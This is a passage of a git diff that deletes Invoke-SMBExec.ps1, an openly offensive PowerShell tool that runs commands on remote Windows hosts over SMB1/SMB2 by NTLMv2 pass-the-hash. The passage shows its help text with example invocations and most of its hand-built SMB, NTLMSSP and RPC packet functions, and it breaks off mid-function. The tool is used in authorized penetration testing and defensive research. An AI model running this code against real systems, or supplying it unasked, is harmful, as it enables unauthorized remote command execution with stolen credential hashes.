\ No newline at end of file diff --git a/Invoke-SMBExec.ps1 b/Invoke-SMBExec.ps1 deleted file mode 100644 index 52394cd..0000000 --- a/Invoke-SMBExec.ps1 +++ /dev/null @@ -1,2764 +0,0 @@ -function Invoke-SMBExec -{ -<# -.SYNOPSIS -Invoke-SMBExec performs SMBExec style command execution with NTLMv2 pass the hash authentication. Invoke-SMBExec -supports SMB1 and SMB2 with and without SMB signing. - -Author: Kevin Robertson (@kevin_robertson) -License: BSD 3-Clause - -.PARAMETER Target -Hostname or IP address of target. - -.PARAMETER Username -Username to use for authentication. - -.PARAMETER Domain -Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the -username. - -.PARAMETER Hash -NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. - -.PARAMETER Command -Command to execute on the target. If a command is not specified, the function will check to see if the username -and hash provides local administrator access on the target. - -.PARAMETER CommandCOMSPEC -Default = Enabled: Prepend %COMSPEC% /C to Command. - -.PARAMETER Service -Default = 20 Character Random: Name of the service to create and delete on the target. - -.PARAMETER SMB1 -(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the -target. - -.PARAMETER Sleep -Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this -setting if you are experiencing strange results. - -.PARAMETER Session -Inveigh-Relay authenticated session. - -.PARAMETER SigningCheck -(Switch) Checks to see if SMB signing is required on a target. - -.EXAMPLE -Execute a command. -Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose - -.EXAMPLE -Check command execution privilege. -Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 - -.EXAMPLE -Execute a command using an authenticated Inveigh-Relay session. -Invoke-SMBExec -Session 1 -Command "command or launcher to execute" - -.EXAMPLE -Check if SMB signing is required. -Invoke-SMBExec -Target 192.168.100.20 -SigningCheck - -.LINK -https://github.com/Kevin-Robertson/Invoke-TheHash - -#> -[CmdletBinding(DefaultParametersetName='Default')] -param -( - [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Target, - [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Username, - [parameter(ParameterSetName='Default',Mandatory=$false)][String]$Domain, - [parameter(Mandatory=$false)][String]$Command, - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y", - [parameter(ParameterSetName='Default',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, - [parameter(Mandatory=$false)][String]$Service, - [parameter(ParameterSetName='Default',Mandatory=$false)][Switch]$SigningCheck, - [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, - [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, - [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, - [parameter(ParameterSetName='Default',Mandatory=$false)][Switch]$SMB1, - [parameter(Mandatory=$false)][Int]$Sleep=150 -) - -if($Command) -{ - $SMB_execute = $true -} - -if($SMB1) -{ - $SMB_version = 'SMB1' -} - -function ConvertFrom-PacketOrderedDictionary -{ - param($OrderedDictionary) - - ForEach($field in $OrderedDictionary.Values) - { - $byte_array += $field - } - - return $byte_array -} - -#NetBIOS - -function New-PacketNetBIOSSessionService -{ - param([Int]$HeaderLength,[Int]$DataLength) - - [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] - - $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary - $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) - $NetBIOSSessionService.Add("Length",$length) - - return $NetBIOSSessionService -} - -#SMB1 - -function New-PacketSMBHeader -{ - param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) - - $ProcessID = $ProcessID[0,1] - - $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary - $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) - $SMBHeader.Add("Command",$Command) - $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) - $SMBHeader.Add("Reserved",[Byte[]](0x00)) - $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) - $SMBHeader.Add("Flags",$Flags) - $SMBHeader.Add("Flags2",$Flags2) - $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) - $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) - $SMBHeader.Add("TreeID",$TreeID) - $SMBHeader.Add("ProcessID",$ProcessID) - $SMBHeader.Add("UserID",$UserID) - $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) - - return $SMBHeader -} -function New-PacketSMBNegotiateProtocolRequest -{ - param([String]$Version) - - if($Version -eq 'SMB1') - { - [Byte[]]$byte_count = 0x0c,0x00 - } - else - { - [Byte[]]$byte_count = 0x22,0x00 - } - - $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) - $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) - - if($version -ne 'SMB1') - { - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) - } - - return $SMBNegotiateProtocolRequest -} - -function New-PacketSMBSessionSetupAndXRequest -{ - param([Byte[]]$SecurityBlob) - - [Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length) - $byte_count = $byte_count[0,1] - [Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5) - $security_blob_length = $security_blob_length[0,1] - - $SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c)) - $SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff)) - $SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00)) - $SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) - $SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff)) - $SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00)) - $SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00)) - $SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) - $SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$byte_count) - $SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) - $SMBSessionSetupAndXRequest.Add("ByteCount",$security_blob_length) - $SMBSessionSetupAndXRequest.Add("SecurityBlob",$SecurityBlob) - $SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00)) - $SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00)) - - return $SMBSessionSetupAndXRequest -} - -function New-PacketSMBTreeConnectAndXRequest -{ - param([Byte[]]$Path) - - [Byte[]]$path_length = $([System.BitConverter]::GetBytes($Path.Length + 7))[0,1] - - $SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBTreeConnectAndXRequest.Add("WordCount",[Byte[]](0x04)) - $SMBTreeConnectAndXRequest.Add("AndXCommand",[Byte[]](0xff)) - $SMBTreeConnectAndXRequest.Add("Reserved",[Byte[]](0x00)) - $SMBTreeConnectAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) - $SMBTreeConnectAndXRequest.Add("Flags",[Byte[]](0x00,0x00)) - $SMBTreeConnectAndXRequest.Add("PasswordLength",[Byte[]](0x01,0x00)) - $SMBTreeConnectAndXRequest.Add("ByteCount",$path_length) - $SMBTreeConnectAndXRequest.Add("Password",[Byte[]](0x00)) - $SMBTreeConnectAndXRequest.Add("Tree",$Path) - $SMBTreeConnectAndXRequest.Add("Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) - - return $SMBTreeConnectAndXRequest -} - -function New-PacketSMBNTCreateAndXRequest -{ - param([Byte[]]$NamedPipe) - - [Byte[]]$named_pipe_length = $([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1] - [Byte[]]$file_name_length = $([System.BitConverter]::GetBytes($NamedPipe.Length - 1))[0,1] - - $SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBNTCreateAndXRequest.Add("WordCount",[Byte[]](0x18)) - $SMBNTCreateAndXRequest.Add("AndXCommand",[Byte[]](0xff)) - $SMBNTCreateAndXRequest.Add("Reserved",[Byte[]](0x00)) - $SMBNTCreateAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) - $SMBNTCreateAndXRequest.Add("Reserved2",[Byte[]](0x00)) - $SMBNTCreateAndXRequest.Add("FileNameLen",$file_name_length) - $SMBNTCreateAndXRequest.Add("CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) - $SMBNTCreateAndXRequest.Add("RootFID",[Byte[]](0x00,0x00,0x00,0x00)) - $SMBNTCreateAndXRequest.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) - $SMBNTCreateAndXRequest.Add("AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMBNTCreateAndXRequest.Add("FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) - $SMBNTCreateAndXRequest.Add("ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) - $SMBNTCreateAndXRequest.Add("Disposition",[Byte[]](0x01,0x00,0x00,0x00)) - $SMBNTCreateAndXRequest.Add("CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) - $SMBNTCreateAndXRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $SMBNTCreateAndXRequest.Add("SecurityFlags",[Byte[]](0x00)) - $SMBNTCreateAndXRequest.Add("ByteCount",$named_pipe_length) - $SMBNTCreateAndXRequest.Add("Filename",$NamedPipe) - - return $SMBNTCreateAndXRequest -} - -function New-PacketSMBReadAndXRequest -{ - $SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBReadAndXRequest.Add("WordCount",[Byte[]](0x0a)) - $SMBReadAndXRequest.Add("AndXCommand",[Byte[]](0xff)) - $SMBReadAndXRequest.Add("Reserved",[Byte[]](0x00)) - $SMBReadAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) - $SMBReadAndXRequest.Add("FID",[Byte[]](0x00,0x40)) - $SMBReadAndXRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SMBReadAndXRequest.Add("MaxCountLow",[Byte[]](0x58,0x02)) - $SMBReadAndXRequest.Add("MinCount",[Byte[]](0x58,0x02)) - $SMBReadAndXRequest.Add("Unknown",[Byte[]](0xff,0xff,0xff,0xff)) - $SMBReadAndXRequest.Add("Remaining",[Byte[]](0x00,0x00)) - $SMBReadAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) - - return $SMBReadAndXRequest -} - -function New-PacketSMBWriteAndXRequest -{ - param([Byte[]]$FileID,[Int]$RPCLength) - - [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength) - $write_length = $write_length[0,1] - - $SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBWriteAndXRequest.Add("WordCount",[Byte[]](0x0e)) - $SMBWriteAndXRequest.Add("AndXCommand",[Byte[]](0xff)) - $SMBWriteAndXRequest.Add("Reserved",[Byte[]](0x00)) - $SMBWriteAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) - $SMBWriteAndXRequest.Add("FID",$FileID) - $SMBWriteAndXRequest.Add("Offset",[Byte[]](0xea,0x03,0x00,0x00)) - $SMBWriteAndXRequest.Add("Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) - $SMBWriteAndXRequest.Add("WriteMode",[Byte[]](0x08,0x00)) - $SMBWriteAndXRequest.Add("Remaining",$write_length) - $SMBWriteAndXRequest.Add("DataLengthHigh",[Byte[]](0x00,0x00)) - $SMBWriteAndXRequest.Add("DataLengthLow",$write_length) - $SMBWriteAndXRequest.Add("DataOffset",[Byte[]](0x3f,0x00)) - $SMBWriteAndXRequest.Add("HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $SMBWriteAndXRequest.Add("ByteCount",$write_length) - - return $SMBWriteAndXRequest -} - -function New-PacketSMBCloseRequest -{ - param ([Byte[]]$FileID) - - $SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBCloseRequest.Add("WordCount",[Byte[]](0x03)) - $SMBCloseRequest.Add("FID",$FileID) - $SMBCloseRequest.Add("LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) - $SMBCloseRequest.Add("ByteCount",[Byte[]](0x00,0x00)) - - return $SMBCloseRequest -} - -function New-PacketSMBTreeDisconnectRequest -{ - $SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBTreeDisconnectRequest.Add("WordCount",[Byte[]](0x00)) - $SMBTreeDisconnectRequest.Add("ByteCount",[Byte[]](0x00,0x00)) - - return $SMBTreeDisconnectRequest -} - -function New-PacketSMBLogoffAndXRequest -{ - $SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBLogoffAndXRequest.Add("WordCount",[Byte[]](0x02)) - $SMBLogoffAndXRequest.Add("AndXCommand",[Byte[]](0xff)) - $SMBLogoffAndXRequest.Add("Reserved",[Byte[]](0x00)) - $SMBLogoffAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) - $SMBLogoffAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00)) - - return $SMBLogoffAndXRequest -} - -#SMB2 - -function New-PacketSMB2Header -{ - param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) - - if($Signing) - { - $flags = 0x08,0x00,0x00,0x00 - } - else - { - $flags = 0x00,0x00,0x00,0x00 - } - - [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) - - if($message_ID.Length -eq 4) - { - $message_ID += 0x00,0x00,0x00,0x00 - } - - $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) - $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) - $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) - $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) - $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2Header.Add("Command",$Command) - $SMB2Header.Add("CreditRequest",$CreditRequest) - $SMB2Header.Add("Flags",$flags) - $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2Header.Add("MessageID",$message_ID) - $SMB2Header.Add("ProcessID",$ProcessID) - $SMB2Header.Add("TreeID",$TreeID) - $SMB2Header.Add("SessionID",$SessionID) - $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $SMB2Header -} - -function New-PacketSMB2NegotiateProtocolRequest -{ - $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) - $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) - $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) - $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) - $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) - - return $SMB2NegotiateProtocolRequest -} - -function New-PacketSMB2SessionSetupRequest -{ - param([Byte[]]$SecurityBlob) - - [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] - - $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) - $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) - $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) - $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) - $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) - $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) - - return $SMB2SessionSetupRequest -} - -function New-PacketSMB2TreeConnectRequest -{ - param([Byte[]]$Buffer) - - [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1] - - $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) - $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) - $SMB2TreeConnectRequest.Add("PathLength",$path_length) - $SMB2TreeConnectRequest.Add("Buffer",$Buffer) - - return $SMB2TreeConnectRequest -} - -function New-PacketSMB2CreateRequestFile -{ - param([Byte[]]$NamedPipe) - - $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1] - - $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) - $SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) - $SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) - $SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) - $SMB2CreateRequestFile.Add("NameLength",$name_length) - $SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CreateRequestFile.Add("Buffer",$NamedPipe) - - return $SMB2CreateRequestFile -} - -function New-PacketSMB2ReadRequest -{ - param ([Byte[]]$FileID) - - $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) - $SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) - $SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) - $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) - $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("FileID",$FileID) - $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) - $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) - $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) - - return $SMB2ReadRequest -} - -function New-PacketSMB2WriteRequest -{ - param([Byte[]]$FileID,[Int]$RPCLength) - - [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength) - - $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) - $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) - $SMB2WriteRequest.Add("Length",$write_length) - $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2WriteRequest.Add("FileID",$FileID) - $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) - $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) - $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) - - return $SMB2WriteRequest -} - -function New-PacketSMB2CloseRequest -{ - param ([Byte[]]$FileID) - - $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) - $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) - $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CloseRequest.Add("FileID",$FileID) - - return $SMB2CloseRequest -} - -function New-PacketSMB2TreeDisconnectRequest -{ - $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) - $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) - - return $SMB2TreeDisconnectRequest -} - -function New-PacketSMB2SessionLogoffRequest -{ - $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) - $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) - - return $SMB2SessionLogoffRequest -} - -#NTLM - -function New-PacketNTLMSSPNegotiate -{ - param([Byte[]]$NegotiateFlags,[Byte[]]$Version) - - [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] - [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 - [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 - [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 - [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 - - $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary - $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) - $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) - $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) - $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) - $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) - $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) - $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) - $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) - $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) - $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) - $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) - $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) - $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) - $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) - $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) - $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) - $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) - $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) - $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) - $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) - $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) - $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($Version) - { - $NTLMSSPNegotiate.Add("Version",$Version) - } - - return $NTLMSSPNegotiate -} - -function New-PacketNTLMSSPAuth -{ - param([Byte[]]$NTLMResponse) - - [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] - [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] - [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] - [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] - - $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary - $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) - $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) - $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) - $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) - $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) - $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) - $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) - $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) - $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) - - return $NTLMSSPAuth -} - -#RPC - -function New-PacketRPCBind -{ - param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion) - - [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID) - - $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary - $RPCBind.Add("Version",[Byte[]](0x05)) - $RPCBind.Add("VersionMinor",[Byte[]](0x00)) - $RPCBind.Add("PacketType",[Byte[]](0x0b)) - $RPCBind.Add("PacketFlags",[Byte[]](0x03)) - $RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $RPCBind.Add("FragLength",$FragLength) - $RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) - $RPCBind.Add("CallID",$call_ID) - $RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) - $RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) - $RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) - $RPCBind.Add("NumCtxItems",$NumCtxItems) - 